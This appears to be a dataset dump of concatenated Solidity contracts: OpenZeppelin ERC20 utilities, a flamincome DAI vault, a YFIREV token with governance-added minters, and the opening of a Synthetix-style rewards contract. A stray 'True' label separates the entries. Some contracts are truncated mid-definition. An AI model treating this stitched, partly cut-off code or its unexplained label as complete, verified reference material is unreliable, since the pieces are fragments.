function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/interfaces/flamincome/Controller.sol
pragma solidity ^0.6.2;
interface Controller {
function strategist() external view returns (address);
function vaults(address) external view returns (address);
function rewards() external view returns (address);
function balanceOf(address) external view returns (uint);
function withdraw(address, uint) external;
function earn(address, uint) external;
}
// File: contracts/implementations/vault/VaultBaseline.sol
pragma solidity ^0.6.2;
contract VaultBaseline is ERC20 {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public token;
uint public min = 9500;
uint public constant max = 10000;
address public governance;
address public controller;
constructor (address _token, address _controller) public ERC20(
string(abi.encodePacked("flamincomed ", ERC20(_token).name())),
string(abi.encodePacked("f", ERC20(_token).symbol()))
) {
_setupDecimals(ERC20(_token).decimals());
token = IERC20(_token);
governance = msg.sender;
controller = _controller;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this))
.add(Controller(controller).balanceOf(address(token)));
}
function setMin(uint _min) external {
require(msg.sender == governance, "!governance");
min = _min;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setController(address _controller) public {
require(msg.sender == governance, "!governance");
controller = _controller;
}
// Custom logic in here for how much the vault allows to be borrowed
// Sets minimum required on-hand to keep small withdrawals cheap
function available() public view returns (uint) {
return token.balanceOf(address(this)).mul(min).div(max);
}
function earn() public {
uint _bal = available();
token.safeTransfer(controller, _bal);
Controller(controller).earn(address(token), _bal);
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint _amount) public {
uint _pool = balance();
uint _before = token.balanceOf(address(this));
token.safeTransferFrom(msg.sender, address(this), _amount);
uint _after = token.balanceOf(address(this));
_amount = _after.sub(_before); // Additional check for deflationary tokens
uint shares = 0;
if (totalSupply() == 0) {
shares = _amount;
} else {
shares = (_amount.mul(totalSupply())).div(_pool);
}
_mint(msg.sender, shares);
}
function withdrawAll() external {
withdraw(balanceOf(msg.sender));
}
// Used to swap any borrowed reserve over the debt limit to liquidate to 'token'
function harvest(address reserve, uint amount) external {
require(msg.sender == controller, "!controller");
require(reserve != address(token), "token");
IERC20(reserve).safeTransfer(controller, amount);
}
// No rebalance implementation for lower fees and faster swaps
function withdraw(uint _shares) public {
uint r = (balance().mul(_shares)).div(totalSupply());
_burn(msg.sender, _shares);
// Check balance
uint b = token.balanceOf(address(this));
if (b < r) {
uint _withdraw = r.sub(b);
Controller(controller).withdraw(address(token), _withdraw);
uint _after = token.balanceOf(address(this));
uint _diff = _after.sub(b);
if (_diff < _withdraw) {
r = b.add(_diff);
}
}
token.safeTransfer(msg.sender, r);
}
function priceE18() public view returns (uint) {
return balance().mul(1e18).div(totalSupply());
}
}
// File: contracts/instances/VaultBaselineDAI.sol
pragma solidity ^0.6.0;
contract VaultBaselineDAI is VaultBaseline {
constructor()
public
VaultBaseline(
address(0x6B175474E89094C44Da98b954EedeAC495271d0F),
address(0xDc03b4900Eff97d997f4B828ae0a45cd48C3b22d)
)
{}
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pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract YFIREV is ERC20, ERC20Detailed {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint;
address public governance;
mapping (address => bool) public minters;
constructor () public ERC20Detailed("YFIREV.FINANCE", "YFR", 18) {
governance = msg.sender;
}
function mint(address account, uint amount) public {
require(minters[msg.sender], "!minter");
_mint(account, amount);
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function addMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = true;
}
function removeMinter(address _minter) public {
require(msg.sender == governance, "!governance");
minters[_minter] = false;
}
} | True | [
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pragma solidity 0.5.17;
/*
____ __ __ __ _
/ __/__ __ ___ / /_ / / ___ / /_ (_)__ __
_\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ /
/___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\
/___/
* Synthetix: WARRewards.sol
*
* Docs: https://docs.synthetix.io/
*
*
* MIT License
* ===========
*
* Copyright (c) 2020 Synthetix
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* IMPORTANT: It is unsafe to assume that an address for which this
* function returns false is an externally-owned account (EOA) and not a
* contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
